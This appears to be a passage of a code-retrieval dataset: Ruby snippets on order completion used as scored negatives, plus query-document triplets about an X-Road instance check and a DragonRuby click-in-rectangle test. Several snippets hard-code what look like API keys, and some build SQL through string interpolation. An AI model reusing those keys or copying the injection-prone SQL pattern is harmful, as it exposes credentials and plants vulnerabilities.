= Time.zone.now - 1.day if reviewed\n @order_detail.update_attributes(od_attrs)\n @order_detail\nend", "def submit_order!\n @customer_order.transaction do\n cache_addresses!\n mark_deliveries_as_pending!\n cache_billing_address! unless @customer_order.anon_billing_address?\n update_subtotal_items!\n assign_submitted_at!\n submitted!\n end\n end", "def markDone\n if @complete == \"Item incomplete\"\n @complete = \"Item complete\"\n else\n @complete = \"Item complete\"\n end\n end", "def commit\r\n self.class.commit_orders [self]\r\n end", "def after_update(order)\n expire(order)\n expire_associated(order)\n end", "def completed(order)\n @order = order\n\n mail :to => order.billing_address.email\n end", "def complete_orders\n @orders = search_reasult(params).where(\"fulflmnt_state = 'complete'\").order('order_date desc')\n @orders = Kaminari.paginate_array(@orders).page(params[:page]).per(params[:per_page] || Spree::Config[:orders_per_page])\n end", "def confirm_order\n end", "def complete_order\n @tire_listing = TireListing.find(params[:tire_listing_id])\n\n if !@tire_listing.can_do_ecomm?\n redirect_to @tire_listing, notice: \"Those tires are not eligible for online purchase.\"\n end\n\n @ar_months = Date::MONTHNAMES.each_with_index.collect{|m, i| [m, i.to_s.rjust(2, '0')]}\n @ar_years = [*Date.today.year..Date.today.year + 8]\n\n @qty = params[:qty].to_i\n @order = Order.new(:tire_listing_id => @tire_listing.id, :tire_quantity => @qty)\n @order.status = order_status_array[:created]\n @order.calculate_total_order\n @order.buyer_email = @order.buyer_name = @order.buyer_address1 = @order.buyer_city = @order.buyer_state = @order.buyer_zip = \"unknown\" # to prevent null error\n initialize_order\n @order.save\n end", "def complete!\n @completed = true\n @completed_at = Time.now\n end", "def update_order(result)\n create_asendia_shipment_record(result['Status'], result['Error'])\n @transaction_id = result['ParcelId']\n @tracking_number = nil\n shipment = @order.shipment\n shipment.tracking = @tracking_number\n shipment.save\n shipment.ship!\n @order.line_items.each do |line_item|\n @success_orders << [\"#{@order.number}, #{line_item.sku}, #{@tracking_number}, #{@transaction_id}, #{line_item.quantity}, #{@order.completed_at}, #{(@order.ship_address.country.try(:name) || '').delete(',')}\"]\n end\n end", "def order_completed(user_id, email:, first_name:, last_name:, order_id:, products:, revenue:, subtotal_price:, total_price:, total_shipping:, total_tax:, discount_code: nil)\n track(user_id, OrderCompleted.new(\n email: email,\n first_name: first_name,\n last_name: last_name,\n order_id: order_id,\n products: products,\n revenue: revenue,\n subtotal_price: subtotal_price,\n total_price: total_price,\n total_shipping: total_shipping,\n total_tax: total_tax,\n discount_code: discount_code \n ))\n end", "def order_complete\n @order = Order.find(params[:id])\n if current_user\n redirect_to client_order_path(@order)\n else\n @order.build_user\n @order.user.build_business_card\n @order.user.build_business_card.locales.build(:locale=>I18n.locale)\n render :layout=>\"client/event\"\n end\n end", "def create_complete_order(user, product, options={})\n returning(user.orders.create) do |order|\n order.line_items.push create_line_item(product.variants.first)\n order.save\n order.checkout.bill_address = Address.new({\n :firstname => \"First\",\n :lastname => \"Last\",\n :address1 => \"Address1\",\n :city => \"City\",\n :state_name => \"A State\",\n :zipcode => \"00000\",\n :country => Country.new,\n :phone => \"00000000\"\n })\n order.complete\n order.save!\n end\nend", "def update_order_item\n \n end", "def completed_it\n self.complete = true\n end", "def complete(to_do_item)\n response = to_do_item\n response[:complete] = true\n response\n end", "def complete!(**options)\n update(status: 'completed', conclusion: 'success', completed_at: Time.now, **options)\n end", "def complete!\n @completed_at = Time.now\n end", "def complete!\n @completed_at = Time.now\n end", "def orderCompleted\n order = Order.last\n user = User.find(Contract.find(order.contract_id).buyer_id)\n MagicMailer.orderCompleted(order, user)\n end", "def finalize!\n update_attribute(:completed_at, Time.now)\n InventoryUnit.assign_opening_inventory(self)\n # lock any optional adjustments (coupon promotions, etc.)\n adjustments.optional.each { |adjustment| adjustment.update_attribute(\"locked\", true) }\n\t\n envia_correos_notific # Envío de correos...\n\n self.state_events.create({\n :previous_state => \"cart\",\n :next_state => \"complete\",\n :name => \"order\" ,\n :user_id => (User.respond_to?(:current) && User.current.try(:id)) || self.user_id\n })\n end", "def update!\n update_totals\n update_payment_state\n # update_adjustments\n # update totals a second time in case updated adjustments have an effect on the total\n update_totals\n \n update_attributes_without_callbacks({\n :state => \"complete\"\n }) \n \n logger.info 'UPDATED ORDER'\n # update_hooks.each { |hook| self.send hook }\n end", "def mark_as_completed!\n mark_state_complete!\n end", "def mark_as_done!\n @status = :finished\n end", "def after_complete(order, transition)\n Delayed::Job.enqueue DelayedSubscriberUpdate.new(Spree::Config.get(:exact_target_user), Spree::Config.get(:exact_target_password), order.number)\n end", "def update\n if @order.single?\n if( (Time.now + 1.hour <= Time.parse(@order.place_date + ' ' + @order.timeslot.start)) && ([email protected]? ) && @order.update(update_order_params) )\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be updated']}, status: :unprocessable_entity\n end\n else\n if(@order.update(update_order_params))\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be updated']}, status: :unprocessable_entity\n end\n end\n end", "def finalize!\n logger.info 'FINALIZE ORDER'\n \n update_attribute(:completed_at, Time.now)\n # self.out_of_stock_items = InventoryUnit.assign_opening_inventory(self)\n # lock any optional adjustments (coupon promotions, etc.)\n # adjustments.optional.each { |adjustment| adjustment.update_attribute(\"locked\", true) }\n # OrderMailer.confirm_email(self).deliver\n \n # Mail products\n OrderMailer.order_email(self).deliver\n logger.info 'MAILING PRODUCTS'\n \n # User.current.update_cap(self.customer_total)\n self.user.update_cap(self.customer_total)\n logger.info 'UPDATE BUYER CAP'\n \n # Mail via sms\n if self.mobile_number.empty? == false then\n sms = SMS.new()\n sms.create(self.mobile_number, self)\n end\n \n self.state_events.create({\n :stateful_id => self.id,\n :previous_state => \"cart\",\n :next_state => \"complete\",\n :stateful_type => \"order\" ,\n :user_id => (User.respond_to?(:current) && User.current.try(:id)) || self.user_id\n })\n end", "def set_order new_order\n\t\t\tnew_order = new_order.to_i\n\t\t\told_order = self.order\n\n\t\t\tif old_order < new_order\n\t\t\t\tchange = '- 1'\n\t\t\t\torder_range = [old_order + 1, new_order]\n\t\t\telse\n\t\t\t\tchange = '+ 1'\n\t\t\t\torder_range = [new_order, old_order - 1]\n\t\t\tend\n\n\t\t\tActiveRecord::Base.connection.execute(\n\t\t\t\t' UPDATE districts' +\n\t\t\t\t\" SET \\\"order\\\" = \\\"order\\\" #{change}\" +\n\t\t\t\t\" WHERE province_id = #{self.province_id} AND \\\"order\\\" BETWEEN #{order_range[0]} AND #{order_range[1]}\"\n\t\t\t);\n\n\t\t\tif !self.update order: new_order\n\t\t\t\treturn { status: 2 }\n\t\t\tend\n\n\t\t\t{ status: 0 }\n\t\tend", "def order=(value)\n @order = value\n end", "def completed\n @status = 'complete'\n end", "def perform\n Magento2::Api.configure('dz4xnhhgfsfuyj00g6bkel0jq6mwdak2', 'hhjnlf59qh2m7an9sdpfcu0o9nox78y6', 'ie5iafduhqs1dydynidsjki582oti17w', 'mva5hldj17elic6muxmf53fq7zmm7xl5', \"https://mall2door.net\")\n orders = Magento2::Api.get(\"/rest/en/V1/orders\", {searchCriteria: 'all' })\n all_orders = orders[:items]\n all_orders.each do |order|\n unless order[:status].present?\n order_id = order[:increment_id]\n id = order[:entity_id]\n status = order[:state]\n params = {\n entity_id: id,\n increment_id: order_id,\n status: status,\n }\n if status\n Magento2::Api.put(\"/rest/en/V1/orders/create\", {entity: params})\n end\n end\n end\n end", "def confirm_delivery\n if @order.complete!\n # update the owner with the refilled boxes\n owner = @order.owner # e.g. node\n current_quantity = owner.current_quantity # e.g. node current quantity\n owner.update(current_quantity: current_quantity + @order.quantity)\n\n render json: {}, status: :ok\n else\n render json: {errors: @order.errors.messages}, status: :bad_request\n end\n end", "def complete\n self.update_attribute('state', 'complete')\n end", "def place_order\n @browser.div(:id, \"checkout-step-review\").button(:text, \"Place Order\").click\n seconds = 0.10\n until @browser.text.include?(\"Your order has been received\") do\n sleep 0.10\n seconds += 0.5\n end\n puts \"I waited #{seconds} seconds\"\n #final code dependant assertion\n assert(@browser.button(:title,'Continue Shopping').enabled?)\n # assert_section 'success'\n end", "def complete\n handle_callback_params!\n redirect_to redirect_path(@payment.try(:order))\n end", "def shift_down_orders(place)\n order ||= place\n Feature.update_all('\"order\" = \"order\" + 1', '\"order\" >= '+order.to_s)\n end", "def complete_customer_order\n \n # call the get_customer_order with product price sum\n customer_order_total = Order.new.get_customer_order(CustomersController.get_active_customer)\n \n if get_customer_order.length == 0\n puts \"You have no products on your order. Please press any key to return to the main menu\"\n \n # if no products in order print \"Please add some products to your order first. Press any key to return to main menu.\"\n else \n # display order total and \"continue with the order? y/n\"\n puts \"Ready to purchase? (Y/N)\"\n @add_payment_to_order = set_field \n \n # add_payment_to_order\n puts \"Please select a payment type:\"\n \n end\n end", "def shift_up_orders()\n Feature.update_all('\"order\" = \"order\" - 1', '\"order\" > '+order.to_s)\n end", "def ship_order\n self.update_attributes(status: 2)\n end", "def complete\n end", "def send_when_ordered(order)\n @order = order\n mail to: \t order.email,\n \t subject: '注文を承りました'\n end", "def mark_state_complete!\n get[state.to_s] = :complete\n end", "def finalize!\n update_attribute(:completed_at, Time.now)\n update_attribute(:payment_method_name, self.payment_method.name) unless self.payment_method_name\n self.out_of_stock_items = InventoryUnit.assign_opening_inventory(self)\n # lock any optional adjustments (coupon promotions, etc.)\n adjustments.optional.each { |adjustment| adjustment.update_attribute(\"locked\", true) }\n\n self.state_events.create({\n :previous_state => \"cart\",\n :next_state => \"complete\",\n :name => \"order\" ,\n :user_id => (User.respond_to?(:current) && User.current.try(:id)) || self.user_id\n })\n end", "def update\n if @order.completed?\n process_and_add_store_credit(@order)\n end\n\n return orig_update\n end", "def check_order_status(id)\n @order = Order.find_by_id(id)\n\n incomplete = 0\n @order.order_items.each do |item|\n if item.ship_status == false\n incomplete += 1\n end\n end\n\n if incomplete == 0\n @order.status = 'complete'\n @order.save\n else\n @order.status = 'paid'\n @order.save\n end\n return @order\n end", "def update_order(order, options, locale = 'en_GB')\n options.each { |k, v| options[k] = v.to_json if v.class.name.deconstantize == 'Epages' }\n id = epages_id(order)\n old_order = perform_get_request(\"/orders/#{id}\", locale: locale)\n perform_put_with_object(\"/orders/#{id}?locale=#{locale}\", old_order.merge(options), Epages::Order)\n end", "def cleanup_successful\n\t\tself.order_status_code_id = 5\n self.new_notes=\"Order completed.\"\n self.product_cost = self.line_items_total\n self.account.clear_personal_information\n self.save\n\tend", "def mark_as_finished \n if self.used_quantity + self.scrapped_quantity == self.quantity\n self.is_finished = true \n end\n self.save\n end", "def mark_as_finished \n if self.used_quantity + self.scrapped_quantity == self.quantity\n self.is_finished = true \n end\n self.save\n end", "def test_cleanup_successful\n\t\[email protected]_successful\n\t\tassert_equal @order.order_status_code_id, 5\n\t assert_equal @order.notes.include?(\"Order completed.\"), true\n\t assert_equal @order.product_cost, @order.line_items_total\n\tend", "def complete!\n update_attributes(completed_at: Time.now)\n pause! if running?\n end", "def update_order_status\n order.delivery_status = status\n order.save\n end", "def delivered(order)\n @order = order\n\n mail to: order.email, subject: \"Your order is ready\"\n end", "def set_transaction_complete_flag()\n @is_transaction_complete = true\n end", "def process_pending(order_id)\n run_command :process_pending, :domain, {\n :order_id => order_id,\n :key => 'attributes'\n }\n end", "def commit_order\r\n order = @customer.open_orders.find params[:id]\r\n \r\n unless !order.commit\r\n headers['Content-Type'] = 'text/plain'\r\n render :text => \"Failed to connect with AX server.\"\r\n end\r\n end", "def complete_order\n # checks to see if there's an active order, and creates one if not\n @order_status = check_active_order\n # puts \"order status in close_order: #{@order_status}\"\n # retrieves grand total for the active order, if any\n the_total = get_grand_total\n # puts \"the_total: #{the_total}\"\n\n # checks to see if the total is a number or is nil/zero\n if the_total\n if the_total == 0\n # if the total is 0, it requests that the user add items to the cart\n puts \" \"\n puts \"Please add some items to your shopping cart. Press any key to return to main menu.\"\n puts \" \"\n gets.chomp\n else\n # if the total is a number, it asks user if they want to purchase\n puts \" \"\n puts \"Your order total is: $#{the_total}. Ready to purchase? (y/n)\"\n confirm_user_input = gets.chomp\n if confirm_user_input.downcase.to_s == \"y\"\n # if the user wants to check out, it triggers the apply payment method function\n apply_payment_method\n else\n puts \" \"\n puts \"Press any key to return to main menu.\"\n puts \" \"\n gets.chomp\n end\n end\n else\n # if the total is nil, it requests that the user add items to the cart\n puts \" \"\n puts \"Please add some items to your shopping cart. Press any key to return to main menu.\"\n puts \" \"\n gets.chomp\n end\n\n end", "def after_complete\n #remove the order from the session\n session[:order_id] = nil\n\n #add the order access token to the session so user can see thank you window\n #and order status, all through the orders controller.\n session[:access_token] ||= @order.token\n\n # trigger the photo copy and preparation, this is done here because normal state machine transitions\n # happen in a transaction and could allow resque work to begin too soon. See comment in order_decorator.rb\n @order.prepare!\n\n if current_user\n # If a user is looged in, save addresses and creditcard as default\n # Backup order addresses with addresses that cannot be modified by user.\n # creditcards are non editable just erasable.\n #(no need to do this for guests)\n original_ship = @order.ship_address\n original_bill = @order.bill_address\n\n new_ship = Address.create( original_ship.attributes.except(\"id\", \"user_id\", \"updated_at\", \"created_at\"))\n @order.ship_address_id = new_ship.id\n if original_ship.id == original_bill.id\n @order.bill_address_id = new_ship.id\n else\n if original_ship.same_as?( original_bill )\n @order.bill_address.id = new_ship.id\n else\n @order.bill_address = Address.create( original_bill.attributes.except(\"id\", \"user_id\", \"updated_at\", \"created_at\"))\n end\n end\n @order.save\n\n # new creditcards should be saved in the user's wallet\n if @order.payment.source.user.nil?\n @order.payment.source.update_attributes!(\n :user_id => current_user.id\n )\n end\n\n #make addresses, creditcard user's default\n @order.user.update_attributes!(\n :bill_address_id => original_bill.id,\n :ship_address_id => original_ship.id,\n :creditcard_id => @order.payment.source.id\n )\n end\n end", "def complete!\n status \"Success\"\n self\n end", "def create_order(order)\n @queue.enqueue(order)\n end", "def update_order_done_cutting\n all_order_rolls = Roll.where(order_id: order_id)\n if all_order_rolls.where('roll_cut_complete = ?', false).count == 0\n order.update(cut_complete: true)\n\n else\n order.update(cut_complete: false)\n end\n end", "def complete!\n return false unless pending? && transfer.feasible?\n transfer.complete!\n update shipped_at: Time.current\n order.update_shipped!\n email.shipment(to: order.billing_recipient)&.deliver_later if order.billing_address.present?\n email.shipment(to: order.shipping_recipient, bcc: false)&.deliver_later if order.has_contact_email?\n true\n end", "def complete!\n return if completed?\n self.status = \"complete\"\n self.stop = Time.now.to_s\n end", "def save_region_order(new_order)\n new_order.each_with_index do |region_id, i|\n region = Region.find(region_id)\n region.sequence = i+1\n region.save!\n end\n end", "def save_region_order(new_order)\n new_order.each_with_index do |region_id, i|\n region = Region.find(region_id)\n region.sequence = i+1\n region.save!\n end\n end", "def order\n end", "def update_complete\n # checks to see if the Item's :complete attribute is true\n if self.complete\n # if complete is arleady true, then update it to false\n self.update_attribute(:complete, false)\n else\n # if complete is already false(which is usually the case since the attribute has\n # a default value of false making it incomplete) update the complete attribute to\n # true. This will allow the user to toggle between complete and incomplete items in\n # their respective lists. \n self.update_attribute(:complete, true)\n end\n end", "def order_upgrade\n @order.next\n @order.complete!\n # Since we dont rely on state machine callback, we just explicitly call this method for spree_store_credits\n if @order.respond_to?(:consume_users_credit, true)\n @order.send(:consume_users_credit)\n end\n @order.finalize!\n end", "def me_order_pending\n object_from_response(self, Artsy::Client::Domain::Order, :get, \"/api/v1/me/order/pending\", {})\n end", "def mark_as_done!\n @done = true\n end", "def update_order_state\n if self.status_changed?\n self.order.update_attributes(:state => self.status)\n end\n end", "def order_status_changed(order)\n @order_callbacks.each do |c|\n c.call(order)\n end\n end" ]
[ "0.69553185", "0.6759722", "0.6741864", "0.6729067", "0.6714085", "0.66975635", "0.6635356", "0.6536199", "0.6515236", "0.6497", "0.64500105", "0.6392472", "0.63909906", "0.6379636", "0.6368655", "0.63317764", "0.6310971", "0.6308635", "0.6249706", "0.6230844", "0.6187945", "0.61624247", "0.610265", "0.610265", "0.610265", "0.60813874", "0.60721946", "0.6056865", "0.6055205", "0.6006179", "0.5990772", "0.59653825", "0.59611356", "0.5958113", "0.593691", "0.5924456", "0.59222364", "0.59017795", "0.5889904", "0.5883436", "0.5869331", "0.5847555", "0.5832178", "0.5831186", "0.58248436", "0.5794063", "0.5794063", "0.57871366", "0.5782298", "0.5766368", "0.5755053", "0.5751619", "0.57506007", "0.57388157", "0.57243425", "0.5721816", "0.571449", "0.5701572", "0.5695267", "0.56932557", "0.56920874", "0.56909496", "0.5680374", "0.5675978", "0.56702656", "0.5668455", "0.5645455", "0.5636775", "0.56246954", "0.5624304", "0.56187236", "0.5608925", "0.56062", "0.56006163", "0.56004393", "0.56003857", "0.56003857", "0.559537", "0.55939806", "0.5587009", "0.55851877", "0.55779666", "0.55699676", "0.55564135", "0.55557805", "0.55553263", "0.55351627", "0.553142", "0.5529088", "0.5528628", "0.55285305", "0.55261356", "0.55261356", "0.55258375", "0.5525274", "0.55246717", "0.5524098", "0.5521339", "0.5518975", "0.5518022" ]
0.74576443
0
xroad_id may be either ClientId or ServerId.
def verify_xroad_instance(xroad_id) logger.debug("Instance verification: #{xroad_id}") unless @xroad_instance.eql?(xroad_id.xroad_instance) raise t("request.incorrect_instance") end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def verify_xroad_instance(xroad_id)\n logger.debug(\"Instance verification: #{xroad_id}\")\n\n unless @xroad_instance.eql?(xroad_id.xroad_instance)\n raise t(\"request.incorrect_instance\")\n end\n end", "def set_mainroad\n @mainroad = Mainroad.find(params[:id])\n end", "def set_road\n @road = Road.find(params[:id])\n end", "def ship_address_id=(id)\n check_address_owner(id, :ship)\n end", "def set_net_id(x)\n $test_logger.log(\"Serial net Id change. New net Id '#{x}'\")\n begin\n @transport.net_id = x\n rescue Exception => e\n $test_logger.log_e(\"Error while changing serial net Id to '#{x}'\", e)\n end\n end", "def set_qx_runway\n @qx_runway = Qx::Runway.find(params[:id])\n end", "def set_xservice\n @xservice = Xservice.find(params[:id])\n end", "def set_roads1\n @roads1 = Roads1.find(params[:id])\n end", "def midtown_primary_roads\n midtown_north = 40.764104432913086\n midtown_east = -73.97675156593323\n midtown_south = 40.75897668730365\n midtown_west = -73.98523807525635\n OverpassGraph.get_roads(midtown_north, midtown_east, midtown_south, midtown_west, ['primary'], [])\nend", "def server_object_id\n self.parameters[:server_object_id]\n end", "def client_id=(_arg0); end", "def server_id\n @host.id\n end", "def lygneo_id\n @lygneo_id ||= params['lygneo_id'].strip\n end", "def openid_client_id=(_arg0); end", "def midtown_no_primary_roads\n midtown_north = 40.764104432913086\n midtown_east = -73.97675156593323\n midtown_south = 40.75897668730365\n midtown_west = -73.98523807525635\n OverpassGraph.get_roads(midtown_north, midtown_east, midtown_south, midtown_west, [], ['primary'])\nend", "def set_carbondioxide\n @carbondioxide = Carbondioxide.find(params[:id])\n end", "def client_id; end", "def set_client_id(id)\n @client_id = id.is_a?(Integer) ? [id].pack(\"N\") : id.to_s\n end", "def draw_xparam(x, y, xparam_id)\n draw_xparam_name(x + 4, y, xparam_id)\n draw_current_xparam(x + 80, y, xparam_id) if @actor\n end", "def set_roadwork\n @roadwork = Roadwork.find(params[:id])\n end", "def set_car_road_order\n @car_road_order = CarRoadOrder.find(params[:id])\n end", "def openid_client_id; end", "def xid=(xid)\n netrc['gitsleep.com'] = xid, 'no_password'\n netrc.save\n end", "def set_xclass\n @xclass = Xclass.find(params[:id])\n end", "def client_id=(client_id)\n if !client_id.nil? && client_id.to_s.length > 128\n fail ArgumentError, 'invalid value for \"client_id\", the character length must be smaller than or equal to 128.'\n end\n\n if !client_id.nil? && client_id.to_s.length < 1\n fail ArgumentError, 'invalid value for \"client_id\", the character length must be great than or equal to 1.'\n end\n\n @client_id = client_id\n end", "def client_id\n super\n end", "def set_roadblock\n @roadblock = Roadblock.find(params[:id])\n end", "def client_id=(client_id); end", "def client_id=(client_id); end", "def set_roadmap\n @roadmap = Roadmap.find(params[:id])\n end", "def isOnRoad _args\n \"isOnRoad _args;\" \n end", "def add_rpx_identifier( rpx_id, rpx_provider_name )\n\t\t self.rpx_identifier = rpx_id\n\t\t #TODO: make rpx_provider_name a std param?\n end", "def id\n special_attribute('@rid'.freeze)\n end", "def server_id\n self.delegate\n end", "def client_id\n request.headers['X-Client-ID']\n end", "def client_id=(value)\n @client_id = value\n end", "def request_id=(_arg0); end", "def orgX(x)\n return @device.orgX(x) ;\n end", "def assign_id\n Sufia::IdService.mint if Sufia.config.enable_noids\n end", "def client_id=(value)\n reset_agent\n @client_id = value\n end", "def test_request_id_is_properly_set\n request_id_node = @doc.xpath(\n \"//bxd:RequestId\", 'bxd' => 'http://model.bxd.fi'\n ).first\n\n assert request_id_node.content =~ /^[0-9A-F]+$/i\n assert_equal request_id_node.content.length, 34\n end", "def set_x_cart_id\n # Do not set on GET/HEAD requests\n # Only set when a cart is active\n if session[:cart_id].present?\n response.headers['X-Cart-Id'.freeze] = session[:cart_id]\n end\n end", "def get_xtid(xtid, id)\n self.class.headers 'X-tid' => xtid\n self.class.get(\"/aldebaran-recdocs/recdocs/#{id}\", :basic_auth => @auth)\n end", "def server_id\n @server_id ||= Gititback::Support.hostname\n end", "def populate_gs_node_id\n if self.attribute_names.include?('gs_node_id') && self.gs_node_id.blank? \n self.gs_node_id = GsNode.where(:ip_address => GsParameter.get('HOMEBASE_IP_ADDRESS')).first.try(:id)\n end \n end", "def assign_id\n noid_service.mint\n end", "def route_onestop_id=(value)\n self.route_id = Route.where(onestop_id: value).pluck(:id).first\n end", "def incident_id\n @incident_id || IncidentId.new(self)\n end", "def get_server_id\n return nil\n end", "def sendBroadCast(blank, msg)\n for addr in @routing_table.keys\n if @routing_table[addr][\"node_id\"] != blank\n @socket.send msg, 0, @routing_table[addr][\"ip_address\"], @routing_table[addr][\"port\"]\n end\n end\n end", "def incident_id\n @attrs['IncidentID']\n end", "def roadsConnectedTo _args\n \"roadsConnectedTo _args;\" \n end", "def set_xrf_coc\n @xrf_coc = XrfCoc.find(params[:id])\n end", "def request_id=(_); end", "def id\n @nodes_xml['geo_id']\n end", "def clientid\n @obj['clientid']\n end", "def ext_id id\n \"#{@master_node}|#{id}\"\n end", "def setVehicleId _obj, _args\n \"_obj setVehicleId _args;\" \n end", "def set_qx_airport\n @qx_airport = Qx::Airport.find(params[:id])\n end", "def server_one\n\t\tServerOne.find(server_one_id)\n\tend", "def _net_wm(id) ; %Q{xprop -id #{id} _NET_WM_PID} ; end", "def execute(server_id)\n connection.create_ip_address(server_id, ip_params)\n end", "def ssid(key, options = {})\n before_all(key, options)\n match?(key, /^[0-9a-fA-F]{24}$/) ? store(key, ->(item){BSON::ObjectId.from_string(item.to_s)}, options) : raise_type_error(key, \"Moped::BSON::ObjectId\")\n end", "def request_id; end", "def route_onestop_id\n route.onestop_id\n end", "def collide_with_vehicles?(x, y)\r\n $game_map.boat.pos_nt?(x, y) || $game_map.ship.pos_nt?(x, y)\r\n end", "def idkey\n post('/api/1/generic/idkey')\n end", "def resident_key; end", "def set_wx_relationship\n @wx_relationship = WxRelationship.find(params[:id])\n end", "def client_id\n @client_id ||= Staccato.build_client_id\n end", "def convert_xid(type, id)\n map = {:gid => :group, :uid => :user}\n raise ArgumentError, \"Invalid id type #{type}\" unless map.include?(type)\n ret = Puppet::Util.send(type, id)\n if ret == nil\n raise Puppet::Error, \"Invalid #{map[type]}: #{id}\"\n end\n ret\n end", "def set_ServerID(value)\n set_input(\"ServerID\", value)\n end", "def set_ServerID(value)\n set_input(\"ServerID\", value)\n end", "def id\n @gapi.id\n end", "def id\n @gapi.id\n end", "def route_xml(route_id, query_params = nil)\n get(\"/routes/#{route_id}/xml\", query_params)\n end", "def set_client_id\n @set_c_id_req ||= assemble_request( Util::MessageCode::SET_CLIENT_ID_REQUEST,\n @set_client_id.serialize_to_string)\n\n socket.write(@set_c_id_req)\n set_c_id_resp = socket.sysread(@limit)\n\n resp_code, resp_msg = decode_message(set_c_id_resp)\n\n return(resp_code == Util::MessageCode::SET_CLIENT_ID_RESPONSE)\n end", "def remote_id; end", "def add_rpx_identifier( rpx_id, rpx_provider_name )\n\t\t self.rpx_identifiers.build(:identifier => rpx_id, :provider_name => rpx_provider_name )\n end", "def set_roadstop\n @roadstop = Roadstop.find(params[:id])\n end", "def collide_with_vehicles?(x, y)\r\r\n $game_map.boat.pos_rect_nt?(x, y, collision_rect) || $game_map.ship.pos_rect_nt?(x, y, collision_rect)\r\r\n end", "def client_id\n connection.id\n end", "def set_converstation_request\n @converstation_request = ConverstationRequest.find(params[:id])\n end", "def remove_server id\n @station.remove_server id\n end", "def collide_with_vehicles?(x, y)\r\r\n (@vehicle_type != :boat && $game_map.boat.pos_rect_nt?(x, y, collision_rect)) || (@vehicle_type != :ship && $game_map.ship.pos_rect_nt?(x, y, collision_rect))\r\r\n end", "def rpx_identifiers\n [{ :identifier => rpx_identifier, :provider_name => \"Unknown\" }]\n end", "def proximity_id\n if eddystone?\n \"#{self.proximity}##{self.instance_id}##{self.namespace}##{self.url}\".upcase\n else\n \"#{proximity}+#{major}+#{minor}\".upcase\n end\n end", "def netId _args\n \"netId _args;\" \n end", "def openid_endpoint=(_arg0); end", "def external_id; end", "def set_raiway_station\n @raiway_station = RaiwayStation.find(params[:id])\n end", "def x_show\n identify_service(params[:id])\n generic_x_show\n end", "def midtown_roads\n midtown_north = 40.764104432913086\n midtown_east = -73.97675156593323\n midtown_south = 40.75897668730365\n midtown_west = -73.98523807525635\n OverpassGraph.get_roads(midtown_north, midtown_east, midtown_south, midtown_west, [], [])\nend", "def set_railway_station\n @railway_station = RailwayStation.find(params[:id])\n end", "def restricted_server_identities\n restricted_nodes = []\n if !Rails.configuration.openshift[:allow_multiple_haproxy_on_node] and self.application.scalable and self.component_instances.select { |ci| ci.is_web_proxy? }.present?\n self.group_instance.gears.each do |gear|\n # skip if this is the current gear itself or if its node hasn't been determined yet\n next if gear.uuid == self.uuid or gear.server_identity.nil?\n restricted_nodes << gear.server_identity if gear.component_instances.select { |ci| ci.is_web_proxy? }.present?\n end\n end\n restricted_nodes\n end", "def set_account_x_entry\r\n @account_x_entry = AccountXEntries.find(params[:id])\r\n end", "def invalid_latitude_roads\n north = 91\n east = -100\n south = 90\n west = -101\n OverpassGraph.get_roads(north, east, south, west, [], [])\nend", "def add_xo_monster_friendship!\n xo_monster_id = Rails.configuration.xo_monster['id']\n return if id == xo_monster_id\n Friendship.create(sender_user_id: xo_monster_id,\n receiver_user_id: id,\n confirmed: true)\n end", "def atom_id\n \"tag:netcooler.com,#{created_at.strftime(\"%Y-%m-%d\")}:/companies/#{id}\"\n end", "def correlation_id=(value)\n @correlation_id = value\n end" ]
[ "0.66138875", "0.5049378", "0.50263023", "0.48848465", "0.4846459", "0.47275993", "0.4703783", "0.4653071", "0.46315962", "0.46029252", "0.45669642", "0.45372003", "0.45358035", "0.453562", "0.45174667", "0.4458038", "0.44488096", "0.4443291", "0.44104835", "0.44089085", "0.43954295", "0.43792486", "0.43769532", "0.43716347", "0.4362944", "0.436219", "0.43621713", "0.4347556", "0.4347556", "0.4342721", "0.43412727", "0.43412295", "0.43412247", "0.43395585", "0.43365797", "0.4335214", "0.4333744", "0.43246737", "0.43083838", "0.4300745", "0.42935035", "0.42876709", "0.42794386", "0.4277376", "0.42746657", "0.42661837", "0.4265418", "0.42607838", "0.42607707", "0.4258431", "0.42531106", "0.42516726", "0.42432374", "0.42392898", "0.42384425", "0.42298365", "0.4229745", "0.42161128", "0.42160803", "0.42096817", "0.42042142", "0.42025784", "0.4192605", "0.418758", "0.41788733", "0.41741773", "0.41697246", "0.4162294", "0.41541916", "0.41504282", "0.4150177", "0.41488007", "0.41488007", "0.4142382", "0.4142382", "0.41386437", "0.41322228", "0.41300893", "0.4124263", "0.4123792", "0.4123695", "0.4120906", "0.41140458", "0.411255", "0.41122577", "0.41098583", "0.41022632", "0.4099704", "0.40981174", "0.4092652", "0.40899548", "0.4071331", "0.40628874", "0.4062414", "0.40616673", "0.40594372", "0.4058217", "0.40580666", "0.40576234", "0.40574807" ]
0.6561161
1
To determine whether a point is in a rect Use point.inside_rect? rect This is useful to determine if a click occurred in a rect
def tick args tick_instructions args, "Sample app shows how to determing if a click happened inside a rectangle." x = 460 args.outputs.labels << small_label(args, x, 15, "Click inside the blue box maybe ---->") box = { x: 785, y: 370, w: 50, h: 50, r: 0, g: 0, b: 170 } args.outputs.borders << box # Saves the most recent click into args.state # Unlike the other components of args, # args.state does not reset every tick. if args.inputs.mouse.click args.state.last_mouse_click = args.inputs.mouse.click end if args.state.last_mouse_click if args.state.last_mouse_click.point.inside_rect? box args.outputs.labels << small_label(args, x, 16, "Mouse click happened *inside* the box.") else args.outputs.labels << small_label(args, x, 16, "Mouse click happened *outside* the box.") end else args.outputs.labels << small_label(args, x, 16, "Mouse click has not occurred yet.") end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
